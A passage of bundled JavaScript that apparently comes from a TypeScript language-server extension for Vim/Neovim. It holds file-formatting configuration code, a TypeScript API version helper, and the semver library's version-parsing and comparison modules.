async ensureConfigurationOptions(document, insertSpaces, tabSize, token) {
const file = this.client.toPath(document.uri);
let options = {
tabSize,
insertSpaces
};
let cachedOption = this.cachedMap.get(document.uri);
const currentOptions = this.getFileOptions(options, document);
if (cachedOption
&& objAreEqual(cachedOption.formatOptions, currentOptions.formatOptions)
&& objAreEqual(cachedOption.preferences, currentOptions.preferences))
return;
this.cachedMap.set(document.uri, currentOptions);
const args = Object.assign({ file }, currentOptions);
await this.client.execute('configure', args, vscode_languageserver_protocol_1.CancellationToken.None);
try {
const response = await this.client.execute('configure', args, token);
if (response.type !== 'response') {
this.cachedMap.delete(document.uri);
}
}
catch (_e) {
this.cachedMap.delete(document.uri);
}
}
async ensureConfigurationForDocument(document, token) {
let opts = await coc_nvim_1.workspace.getFormatOptions(document.uri);
return this.ensureConfigurationOptions(document, opts.insertSpaces, opts.tabSize, token);
}
reset() {
this.cachedMap.clear();
}
getLanguageConfiguration(languageId) {
return coc_nvim_1.workspace.getConfiguration(languageId);
}
isTypeScriptDocument(languageId) {
return languageId.startsWith('typescript');
}
formatEnabled(document) {
let { languageId, uri } = document;
let language = languageId.startsWith('typescript') ? 'typescript' : 'javascript';
const config = coc_nvim_1.workspace.getConfiguration(`${language}.format`, uri);
return config.get('enabled');
}
enableJavascript() {
const config = coc_nvim_1.workspace.getConfiguration('tsserver');
return !!config.get('enableJavascript');
}
getFileOptions(options, document) {
const lang = this.isTypeScriptDocument(document.languageId) ? 'typescript' : 'javascript';
return {
formatOptions: this.getFormatOptions(options, lang, document.uri),
preferences: this.getPreferences(lang, document.uri)
};
}
getFormatOptions(options, language, uri) {
const config = coc_nvim_1.workspace.getConfiguration(`${language}.format`, uri);
return {
tabSize: options.tabSize,
indentSize: options.tabSize,
convertTabsToSpaces: options.insertSpaces,
// We can use \n here since the editor normalizes later on to its line endings.
newLineCharacter: '\n',
insertSpaceAfterCommaDelimiter: config.get('insertSpaceAfterCommaDelimiter'),
insertSpaceAfterConstructor: config.get('insertSpaceAfterConstructor'),
insertSpaceAfterSemicolonInForStatements: config.get('insertSpaceAfterSemicolonInForStatements'),
insertSpaceBeforeAndAfterBinaryOperators: config.get('insertSpaceBeforeAndAfterBinaryOperators'),
insertSpaceAfterKeywordsInControlFlowStatements: config.get('insertSpaceAfterKeywordsInControlFlowStatements'),
insertSpaceAfterFunctionKeywordForAnonymousFunctions: config.get('insertSpaceAfterFunctionKeywordForAnonymousFunctions'),
insertSpaceBeforeFunctionParenthesis: config.get('insertSpaceBeforeFunctionParenthesis'),
insertSpaceAfterOpeningAndBeforeClosingNonemptyParenthesis: config.get('insertSpaceAfterOpeningAndBeforeClosingNonemptyParenthesis'),
insertSpaceAfterOpeningAndBeforeClosingNonemptyBrackets: config.get('insertSpaceAfterOpeningAndBeforeClosingNonemptyBrackets'),
insertSpaceAfterOpeningAndBeforeClosingEmptyBraces: config.get('insertSpaceAfterOpeningAndBeforeClosingEmptyBraces'),
insertSpaceAfterOpeningAndBeforeClosingNonemptyBraces: config.get('insertSpaceAfterOpeningAndBeforeClosingNonemptyBraces'),
insertSpaceAfterOpeningAndBeforeClosingTemplateStringBraces: config.get('insertSpaceAfterOpeningAndBeforeClosingTemplateStringBraces'),
insertSpaceAfterOpeningAndBeforeClosingJsxExpressionBraces: config.get('insertSpaceAfterOpeningAndBeforeClosingJsxExpressionBraces'),
insertSpaceAfterTypeAssertion: config.get('insertSpaceAfterTypeAssertion'),
placeOpenBraceOnNewLineForFunctions: config.get('placeOpenBraceOnNewLineForFunctions'),
placeOpenBraceOnNewLineForControlBlocks: config.get('placeOpenBraceOnNewLineForControlBlocks'),
semicolons: config.get('semicolons', undefined)
};
}
getCompleteOptions(languageId) {
const lang = this.isTypeScriptDocument(languageId) ? 'typescript' : 'javascript';
const config = coc_nvim_1.workspace.getConfiguration(`${lang}.suggest`);
return {
enabled: config.get('enabled', true),
names: config.get('names', true),
paths: config.get('paths', true),
completeFunctionCalls: config.get('completeFunctionCalls', true),
autoImports: config.get('autoImports', true),
includeAutomaticOptionalChainCompletions: config.get('includeAutomaticOptionalChainCompletions', true)
};
}
getPreferences(language, uri) {
if (this.client.apiVersion.lt(api_1.default.v290)) {
return {};
}
const config = coc_nvim_1.workspace.getConfiguration(`${language}.preferences`, uri);
// getImportModuleSpecifierEndingPreference available on ts 2.9.0
const preferences = {
quotePreference: this.getQuoteStyle(config),
importModuleSpecifierPreference: getImportModuleSpecifier(config),
importModuleSpecifierEnding: getImportModuleSpecifierEndingPreference(config),
allowTextChangesInNewFiles: uri.startsWith('file:'),
allowRenameOfImportPath: true,
providePrefixAndSuffixTextForRename: config.get('renameShorthandProperties', true) === false ? false : config.get('useAliasesForRenames', true),
};
return preferences;
}
getQuoteStyle(config) {
let quoteStyle = config.get('quoteStyle', 'auto');
if (this.client.apiVersion.gte(api_1.default.v333) || quoteStyle != 'auto')
return quoteStyle;
return 'single';
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
}
}
exports.default = FileConfigurationManager;
function getImportModuleSpecifier(config) {
let val = config.get('importModuleSpecifier');
switch (val) {
case 'relative':
return 'relative';
case 'non-relative':
return 'non-relative';
default:
return 'auto';
}
}
function getImportModuleSpecifierEndingPreference(config) {
switch (config.get('importModuleSpecifierEnding')) {
case 'minimal': return 'minimal';
case 'index': return 'index';
case 'js': return 'js';
default: return 'auto';
}
}
/***/ }),
/* 36 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
const semver = __importStar(__webpack_require__(37));
class API {
constructor(versionString, version) {
this.versionString = versionString;
this.version = version;
}
static fromSimpleString(value) {
return new API(value, value);
}
static fromVersionString(versionString) {
let version = semver.valid(versionString);
if (!version) {
return new API('invalid version', '1.0.0');
}
// Cut off any prerelease tag since we sometimes consume those on purpose.
const index = versionString.indexOf('-');
if (index >= 0) {
version = version.substr(0, index);
}
return new API(versionString, version);
}
gte(other) {
return semver.gte(this.version, other.version);
}
lt(other) {
return !this.gte(other);
}
}
exports.default = API;
API.defaultVersion = API.fromSimpleString('1.0.0');
API.v203 = API.fromSimpleString('2.0.3');
API.v206 = API.fromSimpleString('2.0.6');
API.v208 = API.fromSimpleString('2.0.8');
API.v213 = API.fromSimpleString('2.1.3');
API.v220 = API.fromSimpleString('2.2.0');
API.v222 = API.fromSimpleString('2.2.2');
API.v230 = API.fromSimpleString('2.3.0');
API.v234 = API.fromSimpleString('2.3.4');
API.v240 = API.fromSimpleString('2.4.0');
API.v250 = API.fromSimpleString('2.5.0');
API.v260 = API.fromSimpleString('2.6.0');
API.v270 = API.fromSimpleString('2.7.0');
API.v280 = API.fromSimpleString('2.8.0');
API.v290 = API.fromSimpleString('2.9.0');
API.v291 = API.fromSimpleString('2.9.1');
API.v292 = API.fromSimpleString('2.9.2');
API.v300 = API.fromSimpleString('3.0.0');
API.v310 = API.fromSimpleString('3.1.0');
API.v314 = API.fromSimpleString('3.1.4');
API.v320 = API.fromSimpleString('3.2.0');
API.v330 = API.fromSimpleString('3.3.0');
API.v333 = API.fromSimpleString('3.3.3');
API.v340 = API.fromSimpleString('3.4.0');
API.v345 = API.fromSimpleString('3.4.5');
API.v350 = API.fromSimpleString('3.5.0');
API.v380 = API.fromSimpleString('3.8.0');
API.v381 = API.fromSimpleString('3.8.1');
API.v390 = API.fromSimpleString('3.9.0');
API.v400 = API.fromSimpleString('4.0.0');
API.v401 = API.fromSimpleString('4.0.1');
/***/ }),
/* 37 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
// just pre-load all the stuff that index.js lazily exports
const internalRe = __webpack_require__(38)
module.exports = {
re: internalRe.re,
src: internalRe.src,
tokens: internalRe.t,
SEMVER_SPEC_VERSION: __webpack_require__(39).SEMVER_SPEC_VERSION,
SemVer: __webpack_require__(41),
compareIdentifiers: __webpack_require__(42).compareIdentifiers,
rcompareIdentifiers: __webpack_require__(42).rcompareIdentifiers,
parse: __webpack_require__(43),
valid: __webpack_require__(44),
clean: __webpack_require__(45),
inc: __webpack_require__(46),
diff: __webpack_require__(47),
major: __webpack_require__(50),
minor: __webpack_require__(51),
patch: __webpack_require__(52),
prerelease: __webpack_require__(53),
compare: __webpack_require__(49),
rcompare: __webpack_require__(54),
compareLoose: __webpack_require__(55),
compareBuild: __webpack_require__(56),
sort: __webpack_require__(57),
rsort: __webpack_require__(58),
gt: __webpack_require__(59),
lt: __webpack_require__(60),
eq: __webpack_require__(48),
neq: __webpack_require__(61),
gte: __webpack_require__(62),
lte: __webpack_require__(63),
cmp: __webpack_require__(64),
coerce: __webpack_require__(65),
Comparator: __webpack_require__(66),
Range: __webpack_require__(67),
satisfies: __webpack_require__(68),
toComparators: __webpack_require__(69),
maxSatisfying: __webpack_require__(70),
minSatisfying: __webpack_require__(71),
minVersion: __webpack_require__(72),
validRange: __webpack_require__(73),
outside: __webpack_require__(74),
gtr: __webpack_require__(75),
ltr: __webpack_require__(76),
intersects: __webpack_require__(77),
simplifyRange: __webpack_require__(78),
subset: __webpack_require__(79),
}
/***/ }),
/* 38 */
/***/ ((module, exports, __webpack_require__) => {
const { MAX_SAFE_COMPONENT_LENGTH } = __webpack_require__(39)
const debug = __webpack_require__(40)
exports = module.exports = {}
// The actual regexps go on exports.re
const re = exports.re = []
const src = exports.src = []
const t = exports.t = {}
let R = 0
const createToken = (name, value, isGlobal) => {
const index = R++
debug(index, value)
t[name] = index
src[index] = value
re[index] = new RegExp(value, isGlobal ? 'g' : undefined)
}
// The following Regular Expressions can be used for tokenizing,
// validating, and parsing SemVer version strings.
// ## Numeric Identifier
// A single `0`, or a non-zero digit followed by zero or more digits.
createToken('NUMERICIDENTIFIER', '0|[1-9]\\d*')
createToken('NUMERICIDENTIFIERLOOSE', '[0-9]+')
// ## Non-numeric Identifier
// Zero or more digits, followed by a letter or hyphen, and then zero or
// more letters, digits, or hyphens.
createToken('NONNUMERICIDENTIFIER', '\\d*[a-zA-Z-][a-zA-Z0-9-]*')
// ## Main Version
// Three dot-separated numeric identifiers.
createToken('MAINVERSION', `(${src[t.NUMERICIDENTIFIER]})\\.` +
`(${src[t.NUMERICIDENTIFIER]})\\.` +
`(${src[t.NUMERICIDENTIFIER]})`)
createToken('MAINVERSIONLOOSE', `(${src[t.NUMERICIDENTIFIERLOOSE]})\\.` +
`(${src[t.NUMERICIDENTIFIERLOOSE]})\\.` +
`(${src[t.NUMERICIDENTIFIERLOOSE]})`)
// ## Pre-release Version Identifier
// A numeric identifier, or a non-numeric identifier.
createToken('PRERELEASEIDENTIFIER', `(?:${src[t.NUMERICIDENTIFIER]
}|${src[t.NONNUMERICIDENTIFIER]})`)
createToken('PRERELEASEIDENTIFIERLOOSE', `(?:${src[t.NUMERICIDENTIFIERLOOSE]
}|${src[t.NONNUMERICIDENTIFIER]})`)
// ## Pre-release Version
// Hyphen, followed by one or more dot-separated pre-release version
// identifiers.
createToken('PRERELEASE', `(?:-(${src[t.PRERELEASEIDENTIFIER]
}(?:\\.${src[t.PRERELEASEIDENTIFIER]})*))`)
createToken('PRERELEASELOOSE', `(?:-?(${src[t.PRERELEASEIDENTIFIERLOOSE]
}(?:\\.${src[t.PRERELEASEIDENTIFIERLOOSE]})*))`)
// ## Build Metadata Identifier
// Any combination of digits, letters, or hyphens.
createToken('BUILDIDENTIFIER', '[0-9A-Za-z-]+')
// ## Build Metadata
// Plus sign, followed by one or more period-separated build metadata
// identifiers.
createToken('BUILD', `(?:\\+(${src[t.BUILDIDENTIFIER]
}(?:\\.${src[t.BUILDIDENTIFIER]})*))`)
// ## Full Version String
// A main version, followed optionally by a pre-release version and
// build metadata.
// Note that the only major, minor, patch, and pre-release sections of
// the version string are capturing groups. The build metadata is not a
// capturing group, because it should not ever be used in version
// comparison.
createToken('FULLPLAIN', `v?${src[t.MAINVERSION]
}${src[t.PRERELEASE]}?${
src[t.BUILD]}?`)
createToken('FULL', `^${src[t.FULLPLAIN]}$`)
// like full, but allows v1.2.3 and =1.2.3, which people do sometimes.
// also, 1.0.0alpha1 (prerelease without the hyphen) which is pretty
// common in the npm registry.
createToken('LOOSEPLAIN', `[v=\\s]*${src[t.MAINVERSIONLOOSE]
}${src[t.PRERELEASELOOSE]}?${
src[t.BUILD]}?`)
createToken('LOOSE', `^${src[t.LOOSEPLAIN]}$`)
createToken('GTLT', '((?:<|>)?=?)')
// Something like "2.*" or "1.2.x".
// Note that "x.x" is a valid xRange identifer, meaning "any version"
// Only the first item is strictly required.
createToken('XRANGEIDENTIFIERLOOSE', `${src[t.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`)
createToken('XRANGEIDENTIFIER', `${src[t.NUMERICIDENTIFIER]}|x|X|\\*`)
createToken('XRANGEPLAIN', `[v=\\s]*(${src[t.XRANGEIDENTIFIER]})` +
`(?:\\.(${src[t.XRANGEIDENTIFIER]})` +
`(?:\\.(${src[t.XRANGEIDENTIFIER]})` +
`(?:${src[t.PRERELEASE]})?${
src[t.BUILD]}?` +
`)?)?`)
createToken('XRANGEPLAINLOOSE', `[v=\\s]*(${src[t.XRANGEIDENTIFIERLOOSE]})` +
`(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})` +
`(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})` +
`(?:${src[t.PRERELEASELOOSE]})?${
src[t.BUILD]}?` +
`)?)?`)
createToken('XRANGE', `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAIN]}$`)
createToken('XRANGELOOSE', `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAINLOOSE]}$`)
// Coercion.
// Extract anything that could conceivably be a part of a valid semver
createToken('COERCE', `${'(^|[^\\d])' +
'(\\d{1,'}${MAX_SAFE_COMPONENT_LENGTH}})` +
`(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?` +
`(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?` +
`(?:$|[^\\d])`)
createToken('COERCERTL', src[t.COERCE], true)
// Tilde ranges.
// Meaning is "reasonably at or greater than"
createToken('LONETILDE', '(?:~>?)')
createToken('TILDETRIM', `(\\s*)${src[t.LONETILDE]}\\s+`, true)
exports.tildeTrimReplace = '$1~'
createToken('TILDE', `^${src[t.LONETILDE]}${src[t.XRANGEPLAIN]}$`)
createToken('TILDELOOSE', `^${src[t.LONETILDE]}${src[t.XRANGEPLAINLOOSE]}$`)
// Caret ranges.
// Meaning is "at least and backwards compatible with"
createToken('LONECARET', '(?:\\^)')
createToken('CARETTRIM', `(\\s*)${src[t.LONECARET]}\\s+`, true)
exports.caretTrimReplace = '$1^'
createToken('CARET', `^${src[t.LONECARET]}${src[t.XRANGEPLAIN]}$`)
createToken('CARETLOOSE', `^${src[t.LONECARET]}${src[t.XRANGEPLAINLOOSE]}$`)
// A simple gt/lt/eq thing, or just "" to indicate "any version"
createToken('COMPARATORLOOSE', `^${src[t.GTLT]}\\s*(${src[t.LOOSEPLAIN]})$|^$`)
createToken('COMPARATOR', `^${src[t.GTLT]}\\s*(${src[t.FULLPLAIN]})$|^$`)
// An expression to strip any whitespace between the gtlt and the thing
// it modifies, so that `> 1.2.3` ==> `>1.2.3`
createToken('COMPARATORTRIM', `(\\s*)${src[t.GTLT]
}\\s*(${src[t.LOOSEPLAIN]}|${src[t.XRANGEPLAIN]})`, true)
exports.comparatorTrimReplace = '$1$2$3'
// Something like `1.2.3 - 1.2.4`
// Note that these all use the loose form, because they'll be
// checked against either the strict or loose comparator form
// later.
createToken('HYPHENRANGE', `^\\s*(${src[t.XRANGEPLAIN]})` +
`\\s+-\\s+` +
`(${src[t.XRANGEPLAIN]})` +
`\\s*$`)
createToken('HYPHENRANGELOOSE', `^\\s*(${src[t.XRANGEPLAINLOOSE]})` +
`\\s+-\\s+` +
`(${src[t.XRANGEPLAINLOOSE]})` +
`\\s*$`)
// Star ranges basically just allow anything at all.
createToken('STAR', '(<|>)?=?\\s*\\*')
// >=0.0.0 is like a star
createToken('GTE0', '^\\s*>=\\s*0\.0\.0\\s*$')
createToken('GTE0PRE', '^\\s*>=\\s*0\.0\.0-0\\s*$')
/***/ }),
/* 39 */
/***/ ((module) => {
// Note: this is the semver.org version of the spec that it implements
// Not necessarily the package version of this code.
const SEMVER_SPEC_VERSION = '2.0.0'
const MAX_LENGTH = 256
const MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER ||
/* istanbul ignore next */ 9007199254740991
// Max safe segment length for coercion.
const MAX_SAFE_COMPONENT_LENGTH = 16
module.exports = {
SEMVER_SPEC_VERSION,
MAX_LENGTH,
MAX_SAFE_INTEGER,
MAX_SAFE_COMPONENT_LENGTH
}
/***/ }),
/* 40 */
/***/ ((module) => {
const debug = (
typeof process === 'object' &&
process.env &&
process.env.NODE_DEBUG &&
/\bsemver\b/i.test(process.env.NODE_DEBUG)
) ? (...args) => console.error('SEMVER', ...args)
: () => {}
module.exports = debug
/***/ }),
/* 41 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const debug = __webpack_require__(40)
const { MAX_LENGTH, MAX_SAFE_INTEGER } = __webpack_require__(39)
const { re, t } = __webpack_require__(38)
const { compareIdentifiers } = __webpack_require__(42)
class SemVer {
constructor (version, options) {
if (!options || typeof options !== 'object') {
options = {
loose: !!options,
includePrerelease: false
}
}
if (version instanceof SemVer) {
if (version.loose === !!options.loose &&
version.includePrerelease === !!options.includePrerelease) {
return version
} else {
version = version.version
}
} else if (typeof version !== 'string') {
throw new TypeError(`Invalid Version: ${version}`)
}
if (version.length > MAX_LENGTH) {
throw new TypeError(
`version is longer than ${MAX_LENGTH} characters`
)
}
debug('SemVer', version, options)
this.options = options
this.loose = !!options.loose
// this isn't actually relevant for versions, but keep it so that we
// don't run into trouble passing this.options around.
this.includePrerelease = !!options.includePrerelease
const m = version.trim().match(options.loose ? re[t.LOOSE] : re[t.FULL])
if (!m) {
throw new TypeError(`Invalid Version: ${version}`)
}
this.raw = version
// these are actually numbers
this.major = +m[1]
this.minor = +m[2]
this.patch = +m[3]
if (this.major > MAX_SAFE_INTEGER || this.major < 0) {
throw new TypeError('Invalid major version')
}
if (this.minor > MAX_SAFE_INTEGER || this.minor < 0) {
throw new TypeError('Invalid minor version')
}
if (this.patch > MAX_SAFE_INTEGER || this.patch < 0) {
throw new TypeError('Invalid patch version')
}
// numberify any prerelease numeric ids
if (!m[4]) {
this.prerelease = []
} else {
this.prerelease = m[4].split('.').map((id) => {
if (/^[0-9]+$/.test(id)) {
const num = +id
if (num >= 0 && num < MAX_SAFE_INTEGER) {
return num
}
}
return id
})
}
this.build = m[5] ? m[5].split('.') : []
this.format()
}
format () {
this.version = `${this.major}.${this.minor}.${this.patch}`
if (this.prerelease.length) {
this.version += `-${this.prerelease.join('.')}`
}
return this.version
}
toString () {
return this.version
}
compare (other) {
debug('SemVer.compare', this.version, this.options, other)
if (!(other instanceof SemVer)) {
if (typeof other === 'string' && other === this.version) {
return 0
}
other = new SemVer(other, this.options)
}
if (other.version === this.version) {
return 0
}
return this.compareMain(other) || this.comparePre(other)
}
compareMain (other) {
if (!(other instanceof SemVer)) {
other = new SemVer(other, this.options)
}
return (
compareIdentifiers(this.major, other.major) ||
compareIdentifiers(this.minor, other.minor) ||
compareIdentifiers(this.patch, other.patch)
)
}
comparePre (other) {
if (!(other instanceof SemVer)) {
other = new SemVer(other, this.options)
}
// NOT having a prerelease is > having one
if (this.prerelease.length && !other.prerelease.length) {
return -1
} else if (!this.prerelease.length && other.prerelease.length) {
return 1
} else if (!this.prerelease.length && !other.prerelease.length) {
return 0
}
let i = 0
do {
const a = this.prerelease[i]
const b = other.prerelease[i]
debug('prerelease compare', i, a, b)
if (a === undefined && b === undefined) {
return 0
} else if (b === undefined) {
return 1
} else if (a === undefined) {
return -1
} else if (a === b) {
continue
} else {
return compareIdentifiers(a, b)
}
} while (++i)
}
compareBuild (other) {
if (!(other instanceof SemVer)) {
other = new SemVer(other, this.options)
}
let i = 0
do {
const a = this.build[i]
const b = other.build[i]
debug('prerelease compare', i, a, b)
if (a === undefined && b === undefined) {
return 0
} else if (b === undefined) {
return 1
} else if (a === undefined) {
return -1
} else if (a === b) {
continue
} else {
return compareIdentifiers(a, b)
}
} while (++i)
}
// preminor will bump the version up to the next minor release, and immediately
// down to pre-release. premajor and prepatch work the same way.
inc (release, identifier) {
switch (release) {
case 'premajor':
this.prerelease.length = 0
this.patch = 0
this.minor = 0
this.major++
this.inc('pre', identifier)
break
case 'preminor':
this.prerelease.length = 0
this.patch = 0
this.minor++
this.inc('pre', identifier)
break
case 'prepatch':
// If this is already a prerelease, it will bump to the next version
// drop any prereleases that might already exist, since they are not
// relevant at this point.
this.prerelease.length = 0
this.inc('patch', identifier)
this.inc('pre', identifier)
break
// If the input is a non-prerelease version, this acts the same as
// prepatch.
case 'prerelease':
if (this.prerelease.length === 0) {
this.inc('patch', identifier)
}
this.inc('pre', identifier)
break
case 'major':
// If this is a pre-major version, bump up to the same major version.
// Otherwise increment major.
// 1.0.0-5 bumps to 1.0.0
// 1.1.0 bumps to 2.0.0
if (
this.minor !== 0 ||
this.patch !== 0 ||
this.prerelease.length === 0
) {
this.major++
}
this.minor = 0
this.patch = 0
this.prerelease = []
break
case 'minor':
// If this is a pre-minor version, bump up to the same minor version.
// Otherwise increment minor.
// 1.2.0-5 bumps to 1.2.0
// 1.2.1 bumps to 1.3.0
if (this.patch !== 0 || this.prerelease.length === 0) {
this.minor++
}
this.patch = 0
this.prerelease = []
break
case 'patch':
// If this is not a pre-release version, it will increment the patch.
// If it is a pre-release it will bump up to the same patch version.
// 1.2.0-5 patches to 1.2.0
// 1.2.0 patches to 1.2.1
if (this.prerelease.length === 0) {
this.patch++
}
this.prerelease = []
break
// This probably shouldn't be used publicly.
// 1.0.0 'pre' would become 1.0.0-0 which is the wrong direction.
case 'pre':
if (this.prerelease.length === 0) {
this.prerelease = [0]
} else {
let i = this.prerelease.length
while (--i >= 0) {
if (typeof this.prerelease[i] === 'number') {
this.prerelease[i]++
i = -2
}
}
if (i === -1) {
// didn't increment anything
this.prerelease.push(0)
}
}
if (identifier) {
// 1.2.0-beta.1 bumps to 1.2.0-beta.2,
// 1.2.0-beta.fooblz or 1.2.0-beta bumps to 1.2.0-beta.0
if (this.prerelease[0] === identifier) {
if (isNaN(this.prerelease[1])) {
this.prerelease = [identifier, 0]
}
} else {
this.prerelease = [identifier, 0]
}
}
break
default:
throw new Error(`invalid increment argument: ${release}`)
}
this.format()
this.raw = this.version
return this
}
}
module.exports = SemVer
/***/ }),
/* 42 */
/***/ ((module) => {
const numeric = /^[0-9]+$/
const compareIdentifiers = (a, b) => {
const anum = numeric.test(a)
const bnum = numeric.test(b)
if (anum && bnum) {
a = +a
b = +b
}
return a === b ? 0
: (anum && !bnum) ? -1
: (bnum && !anum) ? 1
: a < b ? -1
: 1
}
const rcompareIdentifiers = (a, b) => compareIdentifiers(b, a)
module.exports = {
compareIdentifiers,
rcompareIdentifiers
}
/***/ }),
/* 43 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const {MAX_LENGTH} = __webpack_require__(39)
const { re, t } = __webpack_require__(38)
const SemVer = __webpack_require__(41)
const parse = (version, options) => {
if (!options || typeof options !== 'object') {
options = {
loose: !!options,
includePrerelease: false
}
}
if (version instanceof SemVer) {
return version
}
if (typeof version !== 'string') {
return null
}
if (version.length > MAX_LENGTH) {
return null
}
const r = options.loose ? re[t.LOOSE] : re[t.FULL]
if (!r.test(version)) {
return null
}
try {
return new SemVer(version, options)
} catch (er) {
return null
}
}
module.exports = parse
/***/ }),
/* 44 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const parse = __webpack_require__(43)
const valid = (version, options) => {
const v = parse(version, options)
return v ? v.version : null
}
module.exports = valid
/***/ }),
/* 45 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const parse = __webpack_require__(43)
const clean = (version, options) => {
const s = parse(version.trim().replace(/^[=v]+/, ''), options)
return s ? s.version : null
}
module.exports = clean
/***/ }),
/* 46 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const inc = (version, release, options, identifier) => {
if (typeof (options) === 'string') {
identifier = options
options = undefined
}
try {
return new SemVer(version, options).inc(release, identifier).version
} catch (er) {
return null
}
}
module.exports = inc
/***/ }),
/* 47 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const parse = __webpack_require__(43)
const eq = __webpack_require__(48)
const diff = (version1, version2) => {
if (eq(version1, version2)) {
return null
} else {
const v1 = parse(version1)
const v2 = parse(version2)
const hasPre = v1.prerelease.length || v2.prerelease.length
const prefix = hasPre ? 'pre' : ''
const defaultResult = hasPre ? 'prerelease' : ''
for (const key in v1) {
if (key === 'major' || key === 'minor' || key === 'patch') {
if (v1[key] !== v2[key]) {
return prefix + key
}
}
}
return defaultResult // may be undefined
}
}
module.exports = diff
/***/ }),
/* 48 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const eq = (a, b, loose) => compare(a, b, loose) === 0
module.exports = eq
/***/ }),
/* 49 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const compare = (a, b, loose) =>
new SemVer(a, loose).compare(new SemVer(b, loose))
module.exports = compare
/***/ }),
/* 50 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const major = (a, loose) => new SemVer(a, loose).major
module.exports = major
/***/ }),
/* 51 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const minor = (a, loose) => new SemVer(a, loose).minor
module.exports = minor
/***/ }),
/* 52 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const patch = (a, loose) => new SemVer(a, loose).patch
module.exports = patch
/***/ }),
/* 53 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const parse = __webpack_require__(43)
const prerelease = (version, options) => {
const parsed = parse(version, options)
return (parsed && parsed.prerelease.length) ? parsed.prerelease : null
}
module.exports = prerelease
/***/ }),
/* 54 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const rcompare = (a, b, loose) => compare(b, a, loose)
module.exports = rcompare
/***/ }),
/* 55 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const compareLoose = (a, b) => compare(a, b, true)
module.exports = compareLoose
/***/ }),
/* 56 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const SemVer = __webpack_require__(41)
const compareBuild = (a, b, loose) => {
const versionA = new SemVer(a, loose)
const versionB = new SemVer(b, loose)
return versionA.compare(versionB) || versionA.compareBuild(versionB)
}
module.exports = compareBuild
/***/ }),
/* 57 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compareBuild = __webpack_require__(56)
const sort = (list, loose) => list.sort((a, b) => compareBuild(a, b, loose))
module.exports = sort
/***/ }),
/* 58 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compareBuild = __webpack_require__(56)
const rsort = (list, loose) => list.sort((a, b) => compareBuild(b, a, loose))
module.exports = rsort
/***/ }),
/* 59 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const gt = (a, b, loose) => compare(a, b, loose) > 0
module.exports = gt
/***/ }),
/* 60 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const lt = (a, b, loose) => compare(a, b, loose) < 0
module.exports = lt
/***/ }),
/* 61 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const neq = (a, b, loose) => compare(a, b, loose) !== 0
module.exports = neq
/***/ }),
/* 62 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const gte = (a, b, loose) => compare(a, b, loose) >= 0
module.exports = gte
/***/ }),
/* 63 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const compare = __webpack_require__(49)
const lte = (a, b, loose) => compare(a, b, loose) <= 0
module.exports = lte
/***/ }),
/* 64 */
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
const eq = __webpack_require__(48)
const neq = __webpack_require__(61)
const gt = __webpack_require__(59)
const gte = __webpack_require__(62)
const lt = __webpack_require__(60)
const lte = __webpack_require__(63)
const cmp = (a, op, b, loose) => {
switch (op) {
case '===':
if (typeof a === 'object')
a = a.version
if (typeof b === 'object')
b = b.version
return a === b
case '!==':
if (typeof a === 'object')
a = a.version
if (typeof b === 'object')
b = b.version
return a !== b
case '':
case '=':
case '==':
return eq(a, b, loose)
case '!=':
return neq(a, b, loose)
case '>':
return gt(a, b, loose)
case '>=':
return gte(a, b, loose)
case '<':
